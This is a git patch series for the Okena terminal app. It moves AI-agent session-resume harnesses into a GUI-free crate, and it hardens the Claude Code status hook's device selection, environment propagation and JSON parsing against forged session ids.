new file mode 100644
index 000000000..baad5b2ef
--- /dev/null
+++ b/crates/okena-agent-harnesses/src/lib.rs
@@ -0,0 +1,130 @@
+//! The built-in [`AgentHarness`] implementations, and the one place they are
+//! installed into the process-wide registry.
+//!
+//! # Why these don't live in the `okena-ext-*` crates
+//!
+//! They used to. A harness is dispatched by the `agent` id a pane reports over
+//! `OSC 9001`, and the natural home looked like the matching extension crate —
+//! `okena-ext-claude` for `"claude-code"`, and so on. But those crates depend on
+//! `gpui` (they also ship status-bar widgets and a settings view), and the
+//! standalone `okena-daemon` binary is CI-gated to be **GPUI-free**. It
+//! therefore could not link them, could not install the registry, and its
+//! `for_agent()` lookups all returned `None` — auto-resume was a silent no-op in
+//! exactly the deployment that owns restore.
+//!
+//! A harness is pure data — an id and a fixed argv — so it costs nothing to keep
+//! it out of the UI crates. This crate is that home: gpui-free, linked by both
+//! the desktop binary and the daemon binary, so both resolve the same harnesses.
+//!
+//! Adding a harness stays additive: implement [`AgentHarness`] here and register
+//! it in [`build_registry`].
+//!
+//! # Relationship to the extension toggle
+//!
+//! Registration here is **not** gated on the `okena-extensions` enable/disable
+//! toggle that `okena-ext-claude` / `okena-ext-codex` carry. That toggle governs
+//! their GPUI status-bar widgets and settings view, and it lives behind a GPUI
+//! global the daemon cannot read. Resume has its own opt-in — the
+//! `auto_resume_agent_sessions` setting, read daemon-side — which is the gate
+//! that actually applies to it.
+
+use okena_core::agent_harness::{AgentHarness, AgentHarnessRegistry};
+use std::path::Path;
+use std::sync::Arc;
+
+/// Claude Code (`claude` CLI). Agent id `"claude-code"` — matches the extension
+/// id and the `OKENA_AGENT` the bundled lifecycle plugin sets.
+pub struct ClaudeHarness;
+
+impl AgentHarness for ClaudeHarness {
+    fn id(&self) -> &str {
+        "claude-code"
+    }
+
+    fn resume_command(&self, session_id: &str, _cwd: &Path) -> Option<Vec<String>> {
+        // `claude --resume <id>` resumes a specific conversation. Claude scopes
+        // session lookup to the cwd it runs in, which is exactly the pane's
+        // restored working directory — so cwd needs no special handling here.
+        // `session_id` is already UUID-validated upstream and is passed as a
+        // distinct argv element (never shell-interpolated).
+        Some(vec![
+            "claude".to_string(),
+            "--resume".to_string(),
+            session_id.to_string(),
+        ])
+    }
+}
+
+/// Codex (`codex` CLI). Agent id `"codex"` — matches the extension id.
+///
+/// Registration-only for now: the resume invocation is unconfirmed, so this
+/// declines rather than guessing. `okena-ext-codex` already parses
+/// `~/.codex/sessions/**.jsonl`, which is where `transcript_stats` would come
+/// from once there is a view that consumes it.
+pub struct CodexHarness;
+
+impl AgentHarness for CodexHarness {
+    fn id(&self) -> &str {
+        "codex"
+    }
+
+    fn resume_command(&self, _session_id: &str, _cwd: &Path) -> Option<Vec<String>> {
+        // TODO: confirm Codex's resume CLI invocation before enabling
+        // auto-resume for Codex. `None` = no auto-resume yet (graceful — the
+        // session is still captured, persisted, and shown).
+        None
+    }
+}
+
+/// Build the registry of built-in harnesses.
+pub fn build_registry() -> AgentHarnessRegistry {
+    let mut registry = AgentHarnessRegistry::new();
+    registry.register(Arc::new(ClaudeHarness));
+    registry.register(Arc::new(CodexHarness));
+    registry
+}
+
+/// Install the built-in harnesses process-wide.
+///
+/// Call once during startup, from every binary that can reach a restore path:
+/// the desktop app, `okena --headless`, and the standalone `okena-daemon`.
+/// Missing the call is not a compile error — it just makes every resume lookup
+/// return `None` — which is why [`okena_core::agent_harness::init`] logs when a
+/// second install is ignored.
+pub fn install() {
+    okena_core::agent_harness::init(build_registry());
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    const UUID: &str = "3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b";
+
+    #[test]
+    fn claude_resumes_with_a_fixed_argv() {
+        assert_eq!(ClaudeHarness.id(), "claude-code");
+        assert_eq!(
+            ClaudeHarness.resume_command(UUID, Path::new("/proj")),
+            Some(vec![
+                "claude".to_string(),
+                "--resume".to_string(),
+                UUID.to_string(),
+            ])
+        );
+    }
+
+    #[test]
+    fn codex_declines_until_its_invocation_is_confirmed() {
+        assert_eq!(CodexHarness.id(), "codex");
+        assert_eq!(CodexHarness.resume_command(UUID, Path::new("/proj")), None);
+    }
+
+    #[test]
+    fn the_registry_resolves_every_built_in_id() {
+        let registry = build_registry();
+        assert!(registry.get("claude-code").is_some());
+        assert!(registry.get("codex").is_some());
+        assert!(registry.get("nope").is_none());
+    }
+}
diff --git a/crates/okena-core/src/agent_harness.rs b/crates/okena-core/src/agent_harness.rs
index fd971602d..85c82061f 100644
--- a/crates/okena-core/src/agent_harness.rs
+++ b/crates/okena-core/src/agent_harness.rs
@@ -6,10 +6,15 @@
 //! (`"claude-code"`, `"codex"`, …) plus a `session_id` via `OSC 9001` (see
 //! [`crate::agent_session`]). This registry is how Okena turns that id into
 //! actions, without baking any single agent's specifics into the core or app.
-//! Each harness implementation lives in its matching `okena-ext-*` crate and is
-//! registered at startup via [`init`]; an unknown id simply has no entry, so its
-//! session is stored/displayed but not resumable until a harness for it exists.
-//! New harnesses are therefore purely additive.
+//! The implementations live in the gpui-free `okena-agent-harnesses` crate and
+//! are registered at startup via [`init`]; an unknown id simply has no entry, so
+//! its session is stored/displayed but not resumable until a harness for it
+//! exists. New harnesses are therefore purely additive.
+//!
+//! They are kept out of the `okena-ext-*` crates on purpose: those depend on
+//! `gpui`, and the standalone `okena-daemon` binary — which owns restore — is
+//! CI-gated GPUI-free, so it could not link them and every lookup here returned
+//! `None`.
 
 use std::collections::HashMap;
 use std::path::Path;
@@ -27,8 +32,8 @@ pub struct TranscriptStats {
 }
 
 /// What one agent harness (Claude Code, Codex, …) knows how to do with its own
-/// sessions. Implemented in the matching `okena-ext-*` crate. Must stay
-/// gpui-free so headless/remote can use it too.
+/// sessions. Implemented in `okena-agent-harnesses`, which must stay gpui-free
+/// so the headless daemon links it too.
 pub trait AgentHarness: Send + Sync {
     /// Harness id; must equal the `agent` id agents report on the wire
     /// (e.g. `"claude-code"`, `"codex"`).
@@ -82,9 +87,15 @@ static REGISTRY: OnceLock<AgentHarnessRegistry> = OnceLock::new();
 
 /// Install the process-wide harness registry. Call once at startup; later calls
 /// are ignored (first wins), so desktop and headless each build their own
-/// before serving requests.
+/// before serving requests. A second call is logged rather than swallowed —
+/// silently keeping an earlier registry is the kind of thing that turns into a
+/// no-op nobody can see.
 pub fn init(registry: AgentHarnessRegistry) {
-    let _ = REGISTRY.set(registry);
+    if REGISTRY.set(registry).is_err() {
+        log::warn!(
+            "agent-harness: registry already installed — ignoring this one (first install wins)"
+        );
+    }
 }
 
 /// Look up the harness for an agent id, if one is registered. Returns `None`
@@ -100,6 +111,10 @@ pub fn for_agent(agent_id: &str) -> Option<&'static Arc<dyn AgentHarness>> {
 /// is only accepted when it is a literal in *every* dialect Okena targets: no
 /// whitespace, quotes, or metacharacters. This is what lets the composition be
 /// a plain join with no dialect-specific quoting.
+///
+/// The composition itself lives in `okena_hooks::terminal_launch_parts` — that
+/// is the crate that knows the dialects. If a new dialect ever makes one of the
+/// bytes allowed here special, this is the function to narrow.
 fn is_shell_neutral(arg: &str) -> bool {
     !arg.is_empty()
         && arg
@@ -123,7 +138,17 @@ pub fn resume_command_line(session: &crate::agent_session::AgentSession, cwd: &P
         );
         return None;
     }
-    let argv = for_agent(&session.agent)?.resume_command(&session.session_id, cwd)?;
+    let Some(harness) = for_agent(&session.agent) else {
+        // Either no harness exists for this id, or nothing called `init` in this
+        // process. Both are silent no-ops without a log, and the second one is a
+        // wiring bug, so say so rather than returning like the branches below.
+        log::warn!(
+            "agent-resume: no harness registered for agent {:?} — not resuming",
+            session.agent
+        );
+        return None;
+    };
+    let argv = harness.resume_command(&session.session_id, cwd)?;
     if argv.is_empty() || !argv.iter().all(|a| is_shell_neutral(a)) {
         log::warn!(
             "agent-resume: harness {:?} returned an argv that is not shell-neutral — not resuming",
diff --git a/crates/okena-daemon/Cargo.toml b/crates/okena-daemon/Cargo.toml
index 869a99ba5..4aad830b1 100644
--- a/crates/okena-daemon/Cargo.toml
+++ b/crates/okena-daemon/Cargo.toml
@@ -25,6 +25,10 @@ okena-workspace = { path = "../okena-workspace", default-features = false }
 # outgoing daemon (`--await-pid`) before this one locks/binds. default-features
 # off keeps the daemon binary 100% GPUI-free (the `gpui` feature is opt-in).
 okena-remote-server = { path = "../okena-remote-server", default-features = false }
+# Built-in agent harnesses. Deliberately its own gpui-free crate: the impls used
+# to live in okena-ext-claude/-codex, which pull gpui, so this binary could not
+# install the registry at all and auto-resume was a silent no-op here.
+okena-agent-harnesses = { path = "../okena-agent-harnesses" }
 anyhow = "1.0"
 log = "0.4"
 env_logger = "0.11"
diff --git a/crates/okena-daemon/src/main.rs b/crates/okena-daemon/src/main.rs
index 2018230f2..4168f4965 100644
--- a/crates/okena-daemon/src/main.rs
+++ b/crates/okena-daemon/src/main.rs
@@ -152,6 +152,12 @@ fn main() -> anyhow::Result<()> {
         }
     }
 
+    // 1c. Install the agent-harness registry (resume argv per agent id) before
+    //     anything can reach a restore path. This binary owns restore just as
+    //     much as the GUI does, so without it `for_agent()` misses and
+    //     auto-resume silently does nothing here.
+    okena_agent_harnesses::install();
+
     // 2. Optional `--listen <ip>` override. Parsing is intentionally minimal and
     //    dependency-free; the error messages mirror the GUI's `src/main.rs`.
     let listen_override: Option<IpAddr> = parse_listen_override();
diff --git a/crates/okena-ext-claude/src/harness.rs b/crates/okena-ext-claude/src/harness.rs
deleted file mode 100644
index cbac7801d..000000000
--- a/crates/okena-ext-claude/src/harness.rs
+++ /dev/null
@@ -1,55 +0,0 @@
-//! The Claude Code agent harness — how Okena resumes a captured Claude session
-//! (and, later, reads its transcript). Registered into the gpui-free
-//! [`okena_core::agent_harness`] registry so resume works on desktop *and*
-//! headless/remote.
-
-use okena_core::agent_harness::AgentHarness;
-use std::path::Path;
-use std::sync::Arc;
-
-/// Claude Code (`claude` CLI). Agent id `"claude-code"` — matches the extension
-/// id and the `OKENA_AGENT` the bundled lifecycle plugin sets.
-pub struct ClaudeHarness;
-
-impl AgentHarness for ClaudeHarness {
-    fn id(&self) -> &str {
-        "claude-code"
-    }
-
-    fn resume_command(&self, session_id: &str, _cwd: &Path) -> Option<Vec<String>> {
-        // `claude --resume <id>` resumes a specific conversation. Claude scopes
-        // session lookup to the cwd it runs in, which is exactly the pane's
-        // restored working directory — so cwd needs no special handling here.
-        // `session_id` is already UUID-validated upstream and is passed as a
-        // distinct argv element (never shell-interpolated).
-        Some(vec![
-            "claude".to_string(),
-            "--resume".to_string(),
-            session_id.to_string(),
-        ])
-    }
-}
-
-/// Build the Claude Code harness for registration in `okena_core::agent_harness`.
-pub fn register_harness() -> Arc<dyn AgentHarness> {
-    Arc::new(ClaudeHarness)
-}
-
-#[cfg(test)]
-mod tests {
-    use super::*;
-
-    #[test]
-    fn resume_command_shape() {
-        let h = ClaudeHarness;
-        assert_eq!(h.id(), "claude-code");
-        assert_eq!(
-            h.resume_command("3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b", Path::new("/proj")),
-            Some(vec![
-                "claude".to_string(),
-                "--resume".to_string(),
-                "3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b".to_string(),
-            ])
-        );
-    }
-}
diff --git a/crates/okena-ext-claude/src/lib.rs b/crates/okena-ext-claude/src/lib.rs
index 9f84e73ed..0558bdf08 100644
--- a/crates/okena-ext-claude/src/lib.rs
+++ b/crates/okena-ext-claude/src/lib.rs
@@ -1,12 +1,10 @@
 #![cfg_attr(not(test), warn(clippy::unwrap_used, clippy::expect_used))]
 
-mod harness;
 mod settings;
 mod status;
 mod ui_helpers;
 pub mod usage;
 
-pub use harness::register_harness;
 pub use usage::resolve_claude_dir;
 
 use gpui::{AnyView, AppContext as _};
diff --git a/crates/okena-ext-codex/src/harness.rs b/crates/okena-ext-codex/src/harness.rs
deleted file mode 100644
index 0c976924c..000000000
--- a/crates/okena-ext-codex/src/harness.rs
+++ /dev/null
@@ -1,32 +0,0 @@
-//! The Codex agent harness. The resume command is a placeholder until the exact
-//! `codex` resume invocation is confirmed — the point here is the **seam**: a
-//! second harness plugging into [`okena_core::agent_harness`] purely by
-//! registering, no core/app change. Codex session *capture* (its own hook glue)
-//! and transcript stats land alongside this. `okena-ext-codex` already knows how
-//! to read `~/.codex/sessions/**.jsonl` (see `usage.rs`), so `transcript_stats`
-//! is a natural follow-up here.
-
-use okena_core::agent_harness::AgentHarness;
-use std::path::Path;
-use std::sync::Arc;
-
-/// Codex (`codex` CLI). Agent id `"codex"` — matches the extension id.
-pub struct CodexHarness;
-
-impl AgentHarness for CodexHarness {
-    fn id(&self) -> &str {
-        "codex"
-    }
-
-    fn resume_command(&self, _session_id: &str, _cwd: &Path) -> Option<Vec<String>> {
-        // TODO: confirm Codex's resume CLI invocation before enabling
-        // auto-resume for Codex. `None` = no auto-resume yet (graceful — the
-        // session is still captured, persisted, and shown).
-        None
-    }
-}
-
-/// Build the Codex harness for registration in `okena_core::agent_harness`.
-pub fn register_harness() -> Arc<dyn AgentHarness> {
-    Arc::new(CodexHarness)
-}
diff --git a/crates/okena-ext-codex/src/lib.rs b/crates/okena-ext-codex/src/lib.rs
index c8dd8bf6c..0f644a9d7 100644
--- a/crates/okena-ext-codex/src/lib.rs
+++ b/crates/okena-ext-codex/src/lib.rs
@@ -1,13 +1,11 @@
 #![cfg_attr(not(test), warn(clippy::unwrap_used, clippy::expect_used))]
 
-mod harness;
 mod settings;
 mod status;
 mod ui_helpers;
 mod usage;
 
 use gpui::{AnyView, AppContext as _};
-pub use harness::register_harness;
 use okena_extensions::{ExtensionInstance, ExtensionManifest, ExtensionRegistration};
 use std::sync::Arc;
 
diff --git a/scripts/bundle-macos.sh b/scripts/bundle-macos.sh
index 5864c47af..8beff116d 100755
--- a/scripts/bundle-macos.sh
+++ b/scripts/bundle-macos.sh
@@ -58,7 +58,12 @@ echo "    Version: $VERSION"
 # Build if not skipping
 if [[ "$SKIP_BUILD" == false ]]; then
     echo "==> Building release binaries..."
-    cargo build --release --target "$TARGET" -p okena -p okena-daemon
+    # Separate invocations: cargo unifies features across all packages selected
+    # in one invocation, so building these together would enable the `gpui`
+    # feature on the daemon's copy of okena-workspace/okena-app-core and link
+    # GPUI into the binary that is gated to stay free of it.
+    cargo build --release --target "$TARGET" -p okena
+    cargo build --release --target "$TARGET" -p okena-daemon
 fi
 
 # Verify binary exists (check target-specific path first, then default)
diff --git a/src/main.rs b/src/main.rs
index 993c8096a..e6d1d3550 100644
--- a/src/main.rs
+++ b/src/main.rs
@@ -341,17 +341,6 @@ fn run_headless(listen_addr: Option<IpAddr>) -> anyhow::Result<()> {
     okena_daemon_core::DaemonCore::new(params)?.run()
 }
 
-/// Build and install the agent-harness registry — one entry per AI agent
-/// harness, keyed by agent id. Each `okena-ext-*` crate contributes how to
-/// resume its sessions / parse its transcripts; the core/app stay
-/// harness-agnostic and dispatch by the `agent` id captured via OSC 9001.
-fn init_agent_harnesses() {
-    let mut registry = okena_core::agent_harness::AgentHarnessRegistry::new();
-    registry.register(okena_ext_claude::register_harness());
-    registry.register(okena_ext_codex::register_harness());
-    okena_core::agent_harness::init(registry);
-}
-
 fn main() {
     if let Err(error) = okena_remote_server::local::remember_current_executable() {
         eprintln!("Warning: failed to remember executable path: {error}");
@@ -600,8 +589,9 @@ fn main() {
 
     // Install the per-harness agent-session registry (resume command + transcript
     // parsing, dispatched by agent id). gpui-free, so it's shared by BOTH the
-    // desktop and headless paths — do it before the branch below.
-    init_agent_harnesses();
+    // desktop and headless paths — do it before the branch below. The standalone
+    // `okena-daemon` binary makes the same call from its own `main`.
+    okena_agent_harnesses::install();
 
     if headless {
         // Self-restart handoff (single-binary `okena --headless` daemon): a

From 622ccacd6feb95998fee3a2d737241f14949153d Mon Sep 17 00:00:00 2001
From: David Matejka <matej21@matej21.cz>
Date: Tue, 4 Aug 2026 16:44:59 +0200
Subject: [PATCH 10/16] fix(agent-status): make the hook reach Okena under a
 session backend
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Three ways the shipped plugin was silently dead or wrong.

Device preference was backwards for tmux/screen. `/dev/tty` was preferred on
the premise that it always names the pane's current pty. That holds for
dtach, but under `session_backend = tmux` the pane process *is* tmux, so a
hook's controlling terminal is tmux's pty — and tmux forwards only a fixed
allowlist of OSC numbers, which 9001 is not on. A hook inherits a
controlling terminal, so the probe succeeded and the one device that works
($OKENA_TTY, Okena's own slave, which bypasses the nested pty) was never
used. Prefer $OKENA_TTY when it is set and writable. The stale-path risk
that motivated the other order is already covered by `tid=`.

Both vars were applied with `cmd.env()` on the spawned command, which under
a session backend is `sh -c "tmux new-session …"` — so they landed on tmux,
not the pane's shell, and with a server already running the shell inherited
an environment that predates Okena. Route them through `launch_environment`,
which is what gets rendered as tmux `-e KEY=VAL`; the existing loop still
applies them directly on the no-backend path.

`json_str`'s regex is greedy, so it took the *last* match on the line — and
Claude Code's PreToolUse/PostToolUse payloads embed `tool_input` as nested
JSON whose keys are not string-escaped. Any tool taking a `session_id` or
`transcript_path` argument shadowed the real field, and the forged UUID
became the pane's persisted session and the argument to `claude --resume`.
Mine top-level keys only: `jq` when present, otherwise collapse nested
objects/arrays first. Verified against a hostile payload on sh, dash and
bash, with and without jq.

Also: validate `$1` against the known states, so a caller passing through a
less-trusted value can't append `;lbl=` or `;tid=` (and a typo gets a log
line instead of `write=ok`); suppress sed/base64 stderr like every other
command in the script already does, since a PreToolUse hook writing to
stderr surfaces as hook noise; and log why the session is skipped when
`session_id` was found but `OKENA_AGENT` is unset.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_011st5wPRrrAUgA8EQYrGWwY
---
 crates/okena-terminal/CLAUDE.md               |  54 +++++++---
 crates/okena-terminal/src/pty_manager.rs      |  50 +++++----
 .../scripts/okena-agent-status.sh             | 102 ++++++++++++++----
 3 files changed, 149 insertions(+), 57 deletions(-)

diff --git a/crates/okena-terminal/CLAUDE.md b/crates/okena-terminal/CLAUDE.md
index 53360e82c..1000bcd41 100644
--- a/crates/okena-terminal/CLAUDE.md
+++ b/crates/okena-terminal/CLAUDE.md
@@ -28,7 +28,7 @@ A **stable contract** other tools depend on (see `docs/agent-status.md`). An AI
 agent reports its own lifecycle by writing to its terminal:
 
 ```
-ESC ] 9001 ; st=<working|blocked|done|idle|clear> [ ; msg=<b64> ] [ ; lbl=<b64-json> ] ST
+ESC ] 9001 ; st=<working|blocked|done|idle|clear> [ ; tid=<terminal-id> ] [ ; msg=<b64> ] [ ; lbl=<b64-json> ] ST
 ```
 
 - `9001` is a private OSC number (not a standard sequence); keep it stable.
@@ -43,34 +43,56 @@ ESC ] 9001 ; st=<working|blocked|done|idle|clear> [ ; msg=<b64> ] [ ; lbl=<b64-j
 - `lbl=` reserves three keys — `agent`, `session_id`, `transcript_path`. With an
   `agent` id + a UUID-shaped `session_id`, they're captured into a **sticky**
   `okena_core::agent_session::AgentSession` on `Terminal.agent_session` (read via
-  `Terminal::agent_session()`). Unlike `agent_status` it survives `st=clear`
-  (it's the pane's session identity for resume + transcript stats, persisted by
-  the app layer), and a change sets the `agent_session_dirty` edge (drained via
+  `Terminal::agent_session()`). Unlike `agent_status` it survives `st=clear` —
+  and is captured on it, since a harness maps session start/end onto `clear`.
+  It's the pane's session identity for resume + transcript stats, persisted by
+  the app layer, and a change sets the `agent_session_dirty` edge (drained via
   `take_agent_session_dirty`). Per-harness resume/transcript logic is dispatched
   by `agent` id through the gpui-free `okena_core::agent_harness` registry
-  (impls live in the `okena-ext-*` crates). A non-UUID `session_id` is dropped.
+  (impls live in `okena-agent-harnesses` — deliberately NOT the `okena-ext-*`
+  crates, which pull gpui and so cannot be linked by the headless daemon). A
+  non-UUID `session_id` is dropped, and `agent` / `transcript_path` are bounded
+  (see `agent_session.rs`) because they are the only agent-status fields that
+  reach disk. The three reserved keys are **stripped** from the display labels
+  after capture, so session identity never rides the wire to remote clients.
 - A change stores into the shared one-shot `remote_dirty` edge (drained via
   `take_remote_dirty`), which the PTY event loop consumes
-  (`Okena::process_remote_dirty`) to bump the remote `state_version`. This edge
+  (`okena_daemon_core::pty_loop::drain_remote_dirty` — the daemon owns this
+  drain; the GUI mirror does not) to bump the remote `state_version`. This edge
   is **generic**, not agent-specific: any runtime-only signal that remote
   clients should see reuses it rather than adding its own changed-edge +
   per-feature drain. A transition into `blocked`/`done` also queues a
   `TerminalNotification` (reusing the OSC 9 notification path + focus
   suppression).
-- `pty_manager.rs` exports two env vars into the pane at spawn:
+- `pty_manager.rs` exports two env vars into the pane at spawn. Both go through
+  `launch_environment`, **not** `cmd.env()` after the fact: under a session
+  backend the spawned command is `sh -c "tmux new-session …"`, so a late
+  `cmd.env` lands on tmux rather than the pane's shell — and an already-running
+  tmux server's environment predates Okena entirely. `launch_environment` is
+  what gets rendered as tmux `-e KEY=VAL`.
   - `OKENA_TTY` — the pane's slave pty path (portable-pty's `tty_name`, i.e.
     reentrant `ttyname_r`; **not** `libc::ptsname`, whose static buffer races
-    concurrent terminal creation). It exists for processes **without a
-    controlling terminal** — e.g. a Claude Code hook — since writing to the
-    slave reaches Okena's master reader even through a nested dtach/tmux pty.
-    It is a **fallback**: captured once at spawn, it goes stale when the pane
-    reattaches to a persistent session, so senders must prefer `/dev/tty` when
-    they have one (that always names the pane's current pty).
+    concurrent terminal creation). Senders should **prefer** it over
+    `/dev/tty`: writing to the slave reaches Okena's own master reader, whereas
+    a hook's controlling terminal under tmux/screen is the *nested* pty, and
+    those forward only a fixed allowlist of OSC numbers that 9001 is not on.
+    It also covers processes with no controlling terminal at all. It is captured
+    once at spawn, so it can go stale across a reattach — which is what `tid=`
+    below contains.
+
+    **Security note:** unlike an inherited fd, a *path* can be reopened, and
+    Linux recycles `/dev/pts/N` numbers. Any process that outlives its pane (a
+    daemonized dev server, a forking postinstall) keeps a way to write into
+    whatever pane later inherits that number, and writes to a slave surface as
+    terminal *output* — i.e. they are parsed as escape sequences. Same-user, so
+    not a privilege boundary, but treat the var as a capability: `tid=` guards
+    OSC 9001 specifically, nothing else.
   - `OKENA_TERMINAL_ID` — the pane's terminal id, echoed back as the OSC's
     `tid=`. The sidecar drops a status whose `tid` isn't its own, which is what
-    contains the stale-`OKENA_TTY` failure mode: a recorded path can be
-    recycled by another pane, and driving the wrong agent's indicator is worse
-    than dropping the update. Omitted `tid` is accepted.
+    contains the stale-`OKENA_TTY` failure mode above. Note the namespaces
+    differ: this is the daemon's **raw** id, while a client-side `Terminal` is
+    keyed `remote:{connection}:{raw}` — the sidecar matches the unprefixed
+    suffix. Omitted `tid` is accepted.
 
 ## Threading Model
 
diff --git a/crates/okena-terminal/src/pty_manager.rs b/crates/okena-terminal/src/pty_manager.rs
index 378159ac4..02e585824 100644
--- a/crates/okena-terminal/src/pty_manager.rs
+++ b/crates/okena-terminal/src/pty_manager.rs
@@ -862,7 +862,38 @@ impl PtyManager {
             pixel_height: 0,
         })?;
 
-        let launch_environment = self.launch_environment(plan);
+        let mut launch_environment = self.launch_environment(plan);
+
+        // Okena's two pane-identity vars must reach the pane's *shell*, not just
+        // the outer command. Under a session backend the spawned command is
+        // `sh -c "tmux new-session …"`, so setting them on the CommandBuilder
+        // after the fact lands them on tmux — and when a tmux server is already
+        // running (the usual case after the first pane) the shell inherits the
+        // server's environment, which predates Okena entirely. Routing them
+        // through `launch_environment` is what renders them as tmux `-e KEY=VAL`;
+        // the loop below still applies them directly for the no-backend path.
+        // Okena owns both names, so drop any inherited value first.
+        launch_environment.retain(|(key, _)| key != "OKENA_TERMINAL_ID" && key != "OKENA_TTY");
+        // Let anything in the pane name the pane it is running in. The
+        // agent-status OSC carries it back as `tid=`, which lets the receiving
+        // terminal reject a status meant for a different pane — the failure
+        // mode when a status is written to a recorded pty path that has since
+        // been recycled.
+        launch_environment.push((
+            "OKENA_TERMINAL_ID".to_string(),
+            Some(terminal_id.to_string()),
+        ));
+        // Expose the pane's slave pty so agent hooks can emit in-band status
+        // updates through `$OKENA_TTY`. This is the device senders should
+        // PREFER: writing to the slave reaches Okena's own reader, whereas a
+        // hook's `/dev/tty` under tmux/screen is the nested pty, which forwards
+        // only a fixed allowlist of OSC numbers that 9001 is not on. The `tid=`
+        // param above covers the risk that motivated the other order — a
+        // recorded path recycled by another pane after a reattach.
+        #[cfg(unix)]
+        if let Some(path) = slave_pty_path(pair.master.as_ref()) {
+            launch_environment.push(("OKENA_TTY".to_string(), Some(path)));
+        }
 
         // Build command based on session backend and shell config
         #[cfg(unix)]
@@ -882,23 +913,6 @@ impl PtyManager {
             }
         }
 
-        // Let anything in the pane name the pane it is running in. The
-        // agent-status OSC carries it back as `tid=`, which lets the receiving
-        // terminal reject a status meant for a different pane — the failure
-        // mode when a status is written to a recorded pty path that has since
-        // been recycled.
-        cmd.env("OKENA_TERMINAL_ID", terminal_id);
-
-        // Expose the pane's slave pty so agent hooks without a controlling
-        // terminal can emit in-band status updates through `$OKENA_TTY`.
-        // Captured once here, so it is only a fallback: a process that has a
-        // controlling terminal should prefer that, since this path goes stale
-        // when the pane later reattaches to a persistent tmux/dtach session.
-        #[cfg(unix)]
-        if let Some(path) = slave_pty_path(pair.master.as_ref()) {
-            cmd.env("OKENA_TTY", path);
-        }
-
         // Spawn the process
         let child = pair.slave.spawn_command(cmd)?;
 
diff --git a/integrations/claude-code/okena-lifecycle/scripts/okena-agent-status.sh b/integrations/claude-code/okena-lifecycle/scripts/okena-agent-status.sh
index 4f76b9b73..75cd236ff 100755
--- a/integrations/claude-code/okena-lifecycle/scripts/okena-agent-status.sh
+++ b/integrations/claude-code/okena-lifecycle/scripts/okena-agent-status.sh
@@ -11,17 +11,11 @@
 # Designed to be wired up as a Claude Code hook (see docs/agent-status.md), but
 # it's agent-agnostic — anything that can run a command can call it.
 #
-# Output device: prefer the controlling terminal, fall back to `$OKENA_TTY`.
-# `/dev/tty` always resolves to the pane's *current* pty, so it stays correct
-# after the pane reattaches to a persistent session backend (dtach/tmux). But a
-# hook may run as a subprocess with no controlling terminal at all, which is why
-# Okena also exports `OKENA_TTY` (the pane's slave pty path, captured at spawn);
-# writing to the slave reaches Okena's reader even through a nested pty. That
-# path can go stale across a reattach, so it is the fallback, not the default —
-# and the `tid=` param below lets Okena reject a status that lands in the wrong
-# pane because a recorded path was recycled. This drains stdin so a hook feeding
-# event JSON on the pipe never blocks, and is a silent no-op when there's no
-# device to write to — safe to call from anywhere.
+# Output device: prefer `$OKENA_TTY` (Okena's own slave pty for this pane,
+# exported at spawn), fall back to the controlling terminal. See the selection
+# block below for why that order. This drains stdin so a hook feeding event JSON
+# on the pipe never blocks, and is a silent no-op when there's no device to
+# write to — safe to call from anywhere.
 #
 # Debugging: set OKENA_AGENT_STATUS_LOG=/path/to/log to append one line per
 # invocation recording the state, the target device, and whether the write
@@ -39,14 +33,27 @@ agent="${OKENA_AGENT:-}"
 # that reaches the wrong pane. Empty outside Okena — the param is then omitted.
 terminal_id="${OKENA_TERMINAL_ID:-}"
 
-# Opening /dev/tty fails (ENXIO) without a controlling terminal, so probing it
-# both picks the live device and detects the no-tty hook case.
+# Pick the device to write to, preferring Okena's own slave pty.
 #
-# The probe MUST stay in a subshell. POSIX makes a redirection error on a
+# The intuitive order is the other way round — `/dev/tty` always resolves to the
+# pane's *current* pty, so it survives a reattach, whereas `$OKENA_TTY` is
+# captured once at spawn and can go stale. But under a session backend
+# `/dev/tty` names the WRONG pty: with `session_backend = tmux` the pane process
+# is tmux, so a hook's controlling terminal is tmux's pty, and tmux forwards only
+# a fixed allowlist of OSC numbers — 9001 is not on it, and the sequence is
+# dropped before it ever reaches Okena's reader. Screen behaves the same way.
+# `$OKENA_TTY` names Okena's own slave and bypasses the nested pty entirely.
+#
+# The stale-path risk that motivated preferring /dev/tty is already covered by
+# the `tid=` param below: Okena drops a status that lands in a recycled pane.
+#
+# Both probes MUST stay in a subshell. POSIX makes a redirection error on a
 # special built-in (`:`) exit the shell, so a bare `: >/dev/tty` aborts this
-# script under dash in exactly the case the fallback below exists for — and
-# since this runs as a PreToolUse hook, a non-zero exit blocks the tool call.
-if (: >/dev/tty) 2>/dev/null; then
+# script under dash in exactly the case the fallback exists for — and since this
+# runs as a PreToolUse hook, a non-zero exit blocks the tool call.
+if [ -n "${OKENA_TTY:-}" ] && (: >"$OKENA_TTY") 2>/dev/null; then
+    tty_dev="$OKENA_TTY"
+elif (: >/dev/tty) 2>/dev/null; then
     tty_dev="/dev/tty"
 else
     tty_dev="${OKENA_TTY:-/dev/tty}"
@@ -72,10 +79,42 @@ if [ ! -t 0 ]; then
     event=$(cat 2>/dev/null || true)
 fi
 
-# Print the first string value of JSON key $1 found in $event, or nothing.
+# Reduce $event to just its TOP-LEVEL key/value pairs.
+#
+# The regex below is greedy, so it picks the *last* match on the line — and
+# Claude Code's PreToolUse/PostToolUse payloads embed `tool_input` as nested
+# JSON whose keys are not string-escaped. A tool argument named `session_id` or
+# `transcript_path` (routine for MCP tools) would therefore shadow the real
+# field: the forged value becomes the pane's sticky session, gets persisted, and
+# with auto-resume on becomes the argument to `claude --resume`.
+#
+# Repeatedly collapse the innermost {...} / [...] until only the top level is
+# left. Bounded so a pathological payload can't spin.
+event_top=""
+if [ -n "$event" ]; then
+    event_top=${event#\{}
+    event_top=${event_top%\}}
+    nesting=0
+    while [ "$nesting" -lt 16 ]; do
+        flatter=$(printf '%s' "$event_top" | sed 's/{[^{}]*}/""/g; s/\[[^][]*\]/""/g' 2>/dev/null)
+        [ "$flatter" = "$event_top" ] && break
+        event_top=$flatter
+        nesting=$((nesting + 1))
+    done
+fi
+
